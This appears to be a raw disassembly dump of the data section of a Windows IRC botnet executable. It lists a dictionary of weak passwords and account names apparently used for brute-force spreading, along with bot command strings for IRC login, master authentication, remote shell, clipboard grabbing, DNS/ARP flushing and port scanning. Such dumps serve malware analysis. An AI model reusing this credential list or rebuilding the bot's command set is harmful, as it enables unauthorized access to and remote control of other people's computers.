aSatanik db 'satanik',0 ; DATA XREF: .nsp0:0042C544o
aSatan db 'satan',0 ; DATA XREF: .nsp0:0042C540o
align 4
aGobo db 'gobo',0 ; DATA XREF: .nsp0:0042C53Co
align 4
aMatthew db 'Matthew',0 ; DATA XREF: .nsp0:0042C538o
aMatt db 'Matt',0 ; DATA XREF: .nsp0:0042C534o
align 4
aMat db 'Mat',0 ; DATA XREF: .nsp0:0042C530o
aPw db 'pw',0 ; DATA XREF: .nsp0:0042C52Co
align 4
aMypass123 db 'mypass123',0 ; DATA XREF: .nsp0:0042C528o
align 10h
aMypass db 'mypass',0 ; DATA XREF: .nsp0:0042C524o
align 4
aPw123 db 'pw123',0 ; DATA XREF: .nsp0:0042C520o
align 10h
aAdmin123 db 'admin123',0 ; DATA XREF: .nsp0:0042C51Co
align 4
aMypc123 db 'mypc123',0 ; DATA XREF: .nsp0:0042C518o
aMypc db 'mypc',0 ; DATA XREF: .nsp0:0042C514o
align 4
aLove db 'love',0 ; DATA XREF: .nsp0:0042C510o
align 4
aPwd db 'pwd',0 ; DATA XREF: .nsp0:0042C50Co
aLogin db 'login',0 ; DATA XREF: .nsp0:0042C508o
align 10h
aHome db 'home',0 ; DATA XREF: .nsp0:0042C504o
align 4
aZxcv db 'zxcv',0 ; DATA XREF: .nsp0:0042C500o
; .nsp0:0042E448o
align 10h
aYxcv db 'yxcv',0 ; DATA XREF: .nsp0:0042C4FCo
align 4
aQwer db 'qwer',0 ; DATA XREF: .nsp0:0042C4F8o
; .nsp0:0042E3B4o
align 10h
aSecret db 'secret',0 ; DATA XREF: .nsp0:0042C4F4o
align 4
aAsdf db 'asdf',0 ; DATA XREF: .nsp0:0042C4F0o
; .nsp0:0042E460o
align 10h
aPc db 'pc',0 ; DATA XREF: .nsp0:0042C4ECo
align 4
aWin db 'win',0 ; DATA XREF: .nsp0:0042C4E8o
aTest123 db 'test123',0 ; DATA XREF: .nsp0:0042C4E4o
aAbc db 'abc',0 ; DATA XREF: .nsp0:0042C4E0o
aAaa db 'aaa',0 ; DATA XREF: .nsp0:0042C4DCo
; .nsp0:0042E388o
aA_1: ; DATA XREF: .nsp0:0042C4D8o
; .nsp0:0042E380o
unicode 0, <a>,0
aCrash db 'crash',0 ; DATA XREF: .nsp0:0042C4D4o
align 4
aFucked db 'fucked',0 ; DATA XREF: .nsp0:0042C4D0o
align 4
aNetfuck db 'netfuck',0 ; DATA XREF: .nsp0:0042C4CCo
aIrule db 'irule',0 ; DATA XREF: .nsp0:0042C4C8o
align 4
aOwned db 'owned',0 ; DATA XREF: .nsp0:0042C4C4o
align 4
a0wned db '0wned',0 ; DATA XREF: .nsp0:0042C4C0o
; .nsp0:0042E048o
align 4
aNetDevil db 'net-devil',0 ; DATA XREF: .nsp0:0042C4BCo
align 4
aNetdevil db 'netdevil',0 ; DATA XREF: .nsp0:0042C4B8o
align 4
aDevil db 'devil',0 ; DATA XREF: .nsp0:0042C4B4o
align 4
aNilez db 'Nilez',0 ; DATA XREF: .nsp0:0042C4B0o
align 4
aFoobar db 'foobar',0 ; DATA XREF: .nsp0:0042C4ACo
align 4
aGod db 'god',0 ; DATA XREF: .nsp0:0042C4A8o
aSex_0 db 'sex',0 ; DATA XREF: .nsp0:0042C4A4o
aPat db 'pat',0 ; DATA XREF: .nsp0:0042C4A0o
aPatrick db 'patrick',0 ; DATA XREF: .nsp0:0042C49Co
aAlpha db 'alpha',0 ; DATA XREF: .nsp0:0042C498o
align 4
a007 db '007',0 ; DATA XREF: .nsp0:0042C494o
; .nsp0:0042E034o
a123abc db '123abc',0 ; DATA XREF: .nsp0:0042C490o
; .nsp0:0042E244o
align 4
a1234qwer db '1234qwer',0 ; DATA XREF: .nsp0:0042C48Co
; .nsp0:0042E250o
align 10h
a123123 db '123123',0 ; DATA XREF: .nsp0:0042C488o
; .nsp0:0042E1F0o
align 4
a121212 db '121212',0 ; DATA XREF: .nsp0:0042C484o
; .nsp0:0042E1E8o
align 10h
a111111 db '111111',0 ; DATA XREF: .nsp0:0042C480o
; .nsp0:0042E060o
align 4
a110 db '110',0 ; DATA XREF: .nsp0:0042C47Co
; .nsp0:0042E1B4o
a2600 db '2600',0 ; DATA XREF: .nsp0:0042C478o
; .nsp0:0042E33Co
align 4
a2002 db '2002',0 ; DATA XREF: .nsp0:0042C470o
; .nsp0:0042E328o
align 4
aXp_0 db 'xp',0 ; DATA XREF: .nsp0:0042C46Co
align 10h
aEnable db 'enable',0 ; DATA XREF: .nsp0:0042C468o
align 4
aGodblessyou db 'godblessyou',0 ; DATA XREF: .nsp0:0042C464o
aIhavenopass db 'ihavenopass',0 ; DATA XREF: .nsp0:0042C460o
a123asd db '123asd',0 ; DATA XREF: .nsp0:0042C45Co
; .nsp0:0042E248o
align 4
aSuper db 'super',0 ; DATA XREF: .nsp0:0042C458o
align 10h
aInternet db 'Internet',0 ; DATA XREF: .nsp0:0042C454o
align 4
a123qwe db '123qwe',0 ; DATA XREF: .nsp0:0042C44Co
; .nsp0:0042E24Co
align 4
aSybase db 'sybase',0 ; DATA XREF: .nsp0:0042C448o
align 4
aAbc123 db 'abc123',0 ; DATA XREF: .nsp0:0042C440o
align 4
aAbcd db 'abcd',0 ; DATA XREF: .nsp0:0042C43Co
align 4
aPasswd db 'passwd',0 ; DATA XREF: .nsp0:0042C434o
align 4
aPass_0 db 'pass',0 ; DATA XREF: .nsp0:0042C430o
align 4
a88888888 db '88888888',0 ; DATA XREF: .nsp0:0042C42Co
; .nsp0:0042E180o
align 4
a11111111 db '11111111',0 ; DATA XREF: .nsp0:0042C428o
; .nsp0:0042E068o
align 4
a111 db '111',0 ; DATA XREF: .nsp0:0042C424o
; .nsp0:0042E054o
a54321 db '54321',0 ; DATA XREF: .nsp0:0042C420o
; .nsp0:0042E348o
align 10h
a654321 db '654321',0 ; DATA XREF: .nsp0:0042C41Co
; .nsp0:0042E34Co
align 4
a123456789 db '123456789',0 ; DATA XREF: .nsp0:0042C418o
; .nsp0:0042E208o
align 4
a12345678 db '12345678',0 ; DATA XREF: .nsp0:0042C414o
; .nsp0:0042E204o
align 10h
a1234567 db '1234567',0 ; DATA XREF: .nsp0:0042C410o
; .nsp0:0042E200o
a123456 db '123456',0 ; DATA XREF: .nsp0:0042C40Co
; .nsp0:0042E1FCo
align 10h
a12345 db '12345',0 ; DATA XREF: .nsp0:0042C408o
; .nsp0:0042E1F8o
align 4
a1234 db '1234',0 ; DATA XREF: .nsp0:0042C404o
; .nsp0:0042E1F4o
align 10h
a123 db '123',0 ; DATA XREF: .nsp0:0042C400o
; .nsp0:0042E1ECo
a12 db '12',0 ; DATA XREF: .nsp0:0042C3FCo
; .nsp0:0042E1E0o
align 4
a1: ; DATA XREF: .nsp0:0042C3F8o
; .nsp0:0042E04Co
unicode 0, <1>,0
aTemp123 db 'temp123',0 ; DATA XREF: .nsp0:0042C3F4o
aChangeme_0 db 'Changeme',0 ; DATA XREF: .nsp0:0042C3F0o
align 10h
aChangeme db 'changeme',0 ; DATA XREF: .nsp0:0042C3ECo
align 4
aLinux db 'linux',0 ; DATA XREF: .nsp0:0042C3E8o
align 4
aUnix db 'unix',0 ; DATA XREF: .nsp0:0042C3E4o
align 4
aLocal db 'LOCAL',0 ; DATA XREF: .nsp0:0042C3E0o
align 4
aPepsi db 'pepsi',0 ; DATA XREF: .nsp0:0042C3DCo
align 4
aServer_1 db 'SERVER',0 ; DATA XREF: .nsp0:0042C3D8o
; .nsp0:0042E798o
align 4
aSystem_0 db 'SYSTEM',0 ; DATA XREF: .nsp0:0042C3D4o
; .nsp0:0042E3E8o ...
align 4
aBackup db 'BACKUP',0 ; DATA XREF: .nsp0:0042C3D0o
; .nsp0:0042E790o
align 4
aAccess db 'ACCESS',0 ; DATA XREF: .nsp0:0042C3C8o
; .nsp0:0042E788o
align 4
aTest db 'TEST',0 ; DATA XREF: .nsp0:0042C3C4o
; .nsp0:0042E784o
align 4
aEdu db 'edu',0 ; DATA XREF: .nsp0:0042C3C0o
; .nsp0:0042E780o
aOwner_1 db 'Owner',0 ; DATA XREF: .nsp0:0042C3BCo
; .nsp0:0042E77Co
align 10h
aOwner_0 db 'OWNER',0 ; DATA XREF: .nsp0:0042C3B8o
; .nsp0:0042E778o
align 4
aDemo db 'DEMO',0 ; DATA XREF: .nsp0:0042C3B4o
; .nsp0:0042E774o
align 10h
aFiles db 'FILES',0 ; DATA XREF: .nsp0:0042C3B0o
; .nsp0:0042E770o
align 4
aRead db 'READ',0 ; DATA XREF: .nsp0:0042C3ACo
; .nsp0:0042E76Co
align 10h
aBoth db 'BOTH',0 ; DATA XREF: .nsp0:0042C3A8o
; .nsp0:0042E768o
align 4
aLadeda db 'ladeda',0 ; DATA XREF: .nsp0:0042C3A4o
; .nsp0:0042E764o
align 10h
aFull_0 db 'FULL',0 ; DATA XREF: .nsp0:0042C3A0o
; .nsp0:0042E760o
align 4
aWrite db 'WRITE',0 ; DATA XREF: .nsp0:0042C39Co
; .nsp0:0042E75Co
align 10h
aShare_0 db 'SHARE',0 ; DATA XREF: .nsp0:0042C398o
; .nsp0:0042E758o
align 4
aTemp db 'TEMP',0 ; DATA XREF: .nsp0:0042C394o
; .nsp0:0042E754o
align 10h
aPassword db 'PASSWORD',0 ; DATA XREF: .nsp0:0042C390o
; .nsp0:0042E750o
align 4
aAdmin_0 db 'ADMIN',0 ; DATA XREF: .nsp0:0042C38Co
; .nsp0:0042E74Co
align 4
aRoot_0 db 'ROOT',0 ; DATA XREF: .nsp0:0042C384o
; .nsp0:0042E744o
align 4
aGuest_1 db 'GUEST',0 ; DATA XREF: .nsp0:0042C380o
; .nsp0:0042E740o
align 4
aBla db 'bla',0 ; DATA XREF: .nsp0:0042C37Co
; .nsp0:0042E73Co
aFubar db 'fubar',0 ; DATA XREF: .nsp0:0042C378o
; .nsp0:0042E738o
align 10h
aAdministrato_1 db 'ADMINISTRATOR',0 ; DATA XREF: .nsp0:0042C36Co
; .nsp0:0042E72Co
align 10h
aDb2 db 'db2',0 ; DATA XREF: .nsp0:0042C35Co
aOracle db 'oracle',0 ; DATA XREF: .nsp0:0042C358o
; .nsp0:0042C444o
align 4
aDba db 'dba',0 ; DATA XREF: .nsp0:0042C354o
aDatabase db 'database',0 ; DATA XREF: .nsp0:0042C350o
; .nsp0:0042C438o
align 4
aDefault db 'default',0 ; DATA XREF: .nsp0:0042C34Co
; .nsp0:0042CAD8o
aGuest_0 db 'guest',0 ; DATA XREF: .nsp0:0042C348o
align 4
aWwwadmin db 'wwwadmin',0 ; DATA XREF: .nsp0:0042C344o
align 4
aTeacher db 'teacher',0 ; DATA XREF: .nsp0:0042C340o
; .nsp0:0042DA6Co
aStudent db 'student',0 ; DATA XREF: .nsp0:0042C33Co
; .nsp0:0042D9B4o
aOwner db 'owner',0 ; DATA XREF: .nsp0:0042C338o
align 10h
aComputer db 'computer',0 ; DATA XREF: .nsp0:0042C334o
; .nsp0:0042C450o
align 4
aStaff db 'staff',0 ; DATA XREF: .nsp0:0042C32Co
align 4
aAdministrat db 'administrat',0 ; DATA XREF: .nsp0:0042C320o
aAdministrateur db 'administrateur',0 ; DATA XREF: .nsp0:0042C31Co
align 10h
aAdministrato_0 db 'Administrator',0 ; DATA XREF: sub_413627:loc_413732o
; .nsp0:0042C310o ...
align 10h
aMirc1_6_99 db 'mirc 1.6.99',0 ; DATA XREF: .nsp0:off_42C264o
a@room db '*@room',0 ; DATA XREF: .nsp0:off_42C260o
align 4
dword_433124 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: sub_40C682+35Co
dd 2029206Ch, 2BBBB02h, 6F422020h, 74732074h, 65747261h
dd 2E64h
dword_433150 dd 25207325h, 25222064h, 2273h ; DATA XREF: sub_40C682+28Ao
dword_43315C dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: sub_40CB75+F2o
dd 2029206Ch, 2BBBB02h
aConnectedToS_ db ' Connected to %s.',0
align 4
aNickSUserS00S db 'NICK %s',0Dh,0Ah ; DATA XREF: sub_40CCDD+62o
db 'USER %s 0 0 :%s',0Dh,0Ah,0
align 4
aPassS db 'PASS %s',0Dh,0Ah,0 ; DATA XREF: sub_40CCDD+35o
align 4
aModeSS db 'MODE %s %s',0Dh,0Ah,0 ; DATA XREF: sub_40CE55+5CDDo
align 4
aUserhostS db 'USERHOST %s',0Dh,0Ah,0 ; DATA XREF: sub_40CE55+5CC8o
align 4
dword_4331D4 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: sub_40CE55+5CBBo
dd 2029206Ch, 2BBBB02h
aUserSLoggedIn_ db ' User: %s logged in.',0
align 4
dword_433208 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: sub_40CE55+5C9Eo
dd 2029206Ch, 2BBBB02h
aPasswordAccept db ' Password accepted.',0
align 4
dword_43323C dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: sub_40CE55+5C40o
dd 2029206Ch, 2BBBB02h
aFailedHostAuth db ' *Failed host auth by: (%s!%s).',0
align 4
dword_43327C dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: sub_40CE55+5BD0o
dd 2029206Ch, 2BBBB02h
aFailedPassAuth db ' *Failed pass auth by: (%s!%s).',0
align 4
aNoticeSYouVeBe db 'NOTICE %s :You',27h,'ve been logged.',0Dh,0Ah,0
; DATA XREF: sub_40CE55+5BC1o
; sub_40CE55+5C31o
align 10h
aNoticeSNiceTry db 'NOTICE %s :Nice try, idiot. (%s!%s).',0Dh,0Ah,0
; DATA XREF: sub_40CE55+5BADo
; sub_40CE55+5C1Do
align 4
asc_433308: ; DATA XREF: sub_40CE55+5B7Do
unicode 0, <~>,0
dword_43330C dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: sub_40CE55+5B2Co
dd 2029206Ch, 2BBBB02h
aRandomNickChan db ' Random nick change: %s',0
align 4
dword_433344 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: sub_40CE55+5A7Eo
dd 2029206Ch, 2BBBB02h
aInvalidLoginSl db ' Invalid login slot number: %d.',0
align 4
dword_433384 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: sub_40CE55+5A73o
dd 2029206Ch, 2BBBB02h
aNoUserLoggedIn db ' No user logged in at slot: %d.',0
align 4
dword_4333C4 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: sub_40CE55+5A0Fo
dd 2029206Ch, 2BBBB02h, 73252020h, 0
unk_4333E8 db 2 ; DATA XREF: sub_40CE55+59E5o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 65h, 63h, 75h
db 72h ; r
db 65h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aFailedToStar_6 db ' Failed to start secure thread, error: <%d>.',0
align 4
dword_433438 dd 28026502h, 62302E31h, 20282029h, 75636573h, 6D2E6572h
; DATA XREF: sub_40CE55+596Fo
dd 6C1F641Fh, 2202920h, 2002BBBBh, 20732520h, 74737973h
dd 2E6D65h
aUnsecuring db 'Unsecuring',0 ; DATA XREF: sub_40CE55+5969o
align 10h
aSecuring db 'Securing',0 ; DATA XREF: sub_40CE55+5962o
align 4
aSec db 'sec',0 ; DATA XREF: sub_40CE55+5907o
aSecure db 'secure',0 ; DATA XREF: sub_40CE55+58F6o
align 4
unk_433488 db 2 ; DATA XREF: sub_40CE55+58EBo
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 6Fh, 63h, 6Bh
db 73h ; s
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aFailedToStar_7 db 'Failed to start server thread, error: <%d>.',0
dword_4334D4 dd 69026602h, 6966646Eh, 1F651F6Ch, 2E2Eh ; DATA XREF: sub_40CE55+57C9o
dword_4334E4 dd 646E6946h, 6C696620h, 65h ; DATA XREF: sub_40CE55+57C4o
dword_4334F0 dd 72027002h, 1F631F6Fh, 2E2Eh ; DATA XREF: sub_40CE55+57B1o
dword_4334FC dd 636F7250h, 20737365h, 7473696Ch, 0 ; DATA XREF: sub_40CE55+57ACo
dword_43350C dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: sub_40CE55+5779o
dd 2029206Ch, 2BBBB02h, 65522020h, 6E6E6F63h, 69746365h
dd 2E676Eh
aQuitReconnecti db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: sub_40CE55:loc_4125C1o
align 10h
dword_433550 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: sub_40CE55+5757o
dd 2029206Ch, 2BBBB02h, 69442020h, 6E6F6373h, 7463656Eh
dd 2E676E69h, 0
aQuitDisconnect db 'QUIT :disconnecting',0Dh,0Ah,0 ; DATA XREF: sub_40CE55:loc_41259Fo
align 4
aQuitS db 'QUIT :%s',0Dh,0Ah,0 ; DATA XREF: sub_40CE55+5722o
align 4
dword_4335A4 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: sub_40CE55+56D6o
dd 2029206Ch, 2BBBB02h
aStatusReady_Bo db ' Status: Ready. Bot Uptime: %s.',0
align 4
dword_4335E4 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: sub_40CE55+5698o
dd 2029206Ch, 2BBBB02h, 6F422020h, 44492074h, 7325203Ah
dd 2Eh
dword_433610 dd 28026502h, 62302E31h, 20282029h, 65726874h, 2E736461h
; DATA XREF: sub_40CE55+566Do
dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aFailedToStartL db ' Failed to start list thread, error: <%d>.',0
dword_43365C dd 28026502h, 62302E31h, 20282029h, 65726874h, 2E736461h
; DATA XREF: sub_40CE55+5602o
dd 1F641F6Dh, 2029206Ch, 2BBBB02h, 694C2020h, 74207473h
dd 61657268h, 2E7364h
dword_43368C dd 627573h ; DATA XREF: sub_40CE55+55DCo
dword_433690 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: sub_40CE55+558Do
dd 2029206Ch, 2BBBB02h, 6C412020h, 20736169h, 7473696Ch
dd 2Eh
dword_4336BC dd 28026502h, 62302E31h, 20282029h, 2E676F6Ch, 1F641F6Dh
; DATA XREF: sub_40CE55+5572o
dd 2029206Ch, 2BBBB02h
aFailedToStar_8 db ' Failed to start listing thread, error: <%d>.',0
align 4
dword_433708 dd 28026502h, 62302E31h, 20282029h, 2E676F6Ch, 1F641F6Dh
; DATA XREF: sub_40CE55+54E5o
dd 2029206Ch, 2BBBB02h, 694C2020h, 6E697473h, 6F6C2067h
dd 2E67h
dword_433734 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: sub_40CE55+5464o
dd 2029206Ch, 2BBBB02h, 654E2020h, 726F7774h, 6E49206Bh
dd 2E6F66h
dword_433760 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: sub_40CE55+5435o
dd 2029206Ch, 2BBBB02h, 79532020h, 6D657473h, 666E4920h
dd 2E6Fh
dword_43378C dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: sub_40CE55+53E0o
dd 2029206Ch, 2BBBB02h, 65522020h, 69766F6Dh, 4220676Eh
dd 2E746Fh
dword_4337B8 dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h
; DATA XREF: sub_40CE55+53CDo
dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aFailedToStar_9 db ' Failed to start listing thread, error: <%d>.',0
align 4
dword_433808 dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h
; DATA XREF: sub_40CE55+535Eo
dd 1F641F6Dh, 2029206Ch, 2BBBB02h, 72502020h, 6563636Fh
dd 6C207373h, 2E747369h, 0
aFull db 'full',0 ; DATA XREF: sub_40CE55+533Eo
align 4
dword_433844 dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h
; DATA XREF: sub_40CE55+52E7o
dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aAlreadyRunning db ' Already running.',0
align 4
unk_433878 db 2 ; DATA XREF: sub_40CE55+52BBo
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 63h ; c
db 64h, 6Bh, 65h
db 79h ; y
db 73h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aSearchComplete db ' Search completed.',0
align 4
dword_4338AC dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: sub_40CE55+526Fo
dd 2029206Ch, 2BBBB02h, 70552020h, 656D6974h, 7325203Ah
dd 2Eh
dword_4338D8 dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh
; DATA XREF: sub_40CE55:loc_412027o
dd 2029206Ch, 2BBBB02h
aRemoteShellRea db ' Remote shell ready.',0
align 4
dword_43390C dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh
; DATA XREF: sub_40CE55+51CBo
dd 2029206Ch, 2BBBB02h
aCouldnTOpenRem db ' Couldn',27h,'t open remote shell.',0
align 4
dword_433948 dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh
; DATA XREF: sub_40CE55+51AFo
dd 2029206Ch, 2BBBB02h
aRemoteShellAlr db ' Remote shell already running.',0
dword_433984 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: sub_40CE55+5199o
dd 2029206Ch, 2BBBB02h, 65472020h, 6C432074h, 6F627069h
dd 2E647261h, 0
aClipboardData db '-[Clipboard Data]-',0 ; DATA XREF: sub_40CE55+516Bo
align 4
unk_4339C8 db 2 ; DATA XREF: sub_40CE55:loc_411FB0o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToFlushA db ' Failed to flush ARP cache.',0
align 4
unk_433A08 db 2 ; DATA XREF: sub_40CE55+5140o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aArpCacheFlushe db ' ARP cache flushed.',0
align 10h
unk_433A40 db 2 ; DATA XREF: sub_40CE55:loc_411F85o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToLoadDn db ' Failed to load dnsapi.dll.',0
align 10h
unk_433A80 db 2 ; DATA XREF: sub_40CE55:loc_411F7Eo
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToFlushD db ' Failed to flush DNS cache.',0
align 10h
unk_433AC0 db 2 ; DATA XREF: sub_40CE55+5122o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aDnsCacheFlushe db ' DNS cache flushed.',0
align 4
unk_433AF8 db 2 ; DATA XREF: sub_40CE55+50A4o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 68h ; h
db 2 dup(74h), 70h
db 64h ; d
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aFailedToSta_10 db 'Failed to start server thread, error: <%d>.',0
unk_433B44 db 2 ; DATA XREF: sub_40CE55+4F32o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 74h ; t
db 66h, 74h, 70h
db 64h ; d
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aFailedToSta_11 db 'Failed to start server thread, error: <%d>.',0
unk_433B90 db 2 ; DATA XREF: sub_40CE55+4E0Ao
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 74h ; t
db 66h, 74h, 70h
db 64h ; d
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aAlreadyRunni_0 db 'Already running.',0
align 4
dword_433BC4 dd 28026502h, 62302E31h, 20282029h, 6C707865h, 2E74696Fh
; DATA XREF: sub_40CE55:loc_411C49o
dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aFailedToSta_12 db ' Failed to start scan, port is invalid.',0
align 10h
dword_433C10 dd 28026502h, 62302E31h, 20282029h, 6C707865h, 2E74696Fh
; DATA XREF: sub_40CE55+4D35o
dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aSPortScanStart db ' %s Port Scan started on %s:%d with a delay of %d seconds for %d'
db ' minutes using %d threads.',0
dword_433C8C dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: sub_40CE55+4AF9o
dd 2029206Ch, 2BBBB02h
aNickChangedToS db ' Nick changed to: ',27h,'%s',27h,'.',0
align 4
dword_433CC4 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: sub_40CE55+4AE0o
dd 2029206Ch, 2BBBB02h
aJoinedChannelS db ' Joined channel: ',27h,'%s',27h,'.',0
dword_433CF8 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: sub_40CE55+4AC0o
dd 2029206Ch, 2BBBB02h
aPartedChannelS db ' Parted channel: ',27h,'%s',27h,'.',0
dword_433D2C dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: sub_40CE55+4AA7o
dd 2029206Ch, 2BBBB02h, 52492020h, 61522043h, 25203A77h
dd 2E73h
dword_433D58 dd 28026502h, 62302E31h, 20282029h, 65726874h, 2E736461h
; DATA XREF: sub_40CE55:loc_41187Eo
dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aFailedToKillTh db ' Failed to kill thread: %s.',0
align 4
dword_433D98 dd 28026502h, 62302E31h, 20282029h, 65726874h, 2E736461h
; DATA XREF: sub_40CE55+4A22o
dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aKilledThreadS_ db ' Killed thread: %s.',0
align 10h
dword_433DD0 dd 28026502h, 62302E31h, 20282029h, 65726874h, 2E736461h
; DATA XREF: sub_40CE55:loc_411831o
dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aNoActiveThread db ' No active threads found.',0
align 4
dword_433E0C dd 28026502h, 62302E31h, 20282029h, 65726874h, 2E736461h
; DATA XREF: sub_40CE55+49D2o
dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aStoppedDThread db ' Stopped: %d thread(s).',0
align 4
aAll db 'all',0 ; DATA XREF: sub_40CE55+49B8o
aQuitLater db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: sub_40CE55+492Do
; sub_40CE55:loc_412589o
align 4
dword_433E5C dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: sub_40CE55+48B7o
dd 2029206Ch, 2BBBB02h
aPrefixChangedT db ' Prefix changed to: ',27h,'%c',27h,'.',0
align 4
unk_433E94 db 2 ; DATA XREF: sub_40CE55:loc_4116F7o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 68h, 65h, 6Ch
db 6Ch ; l
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
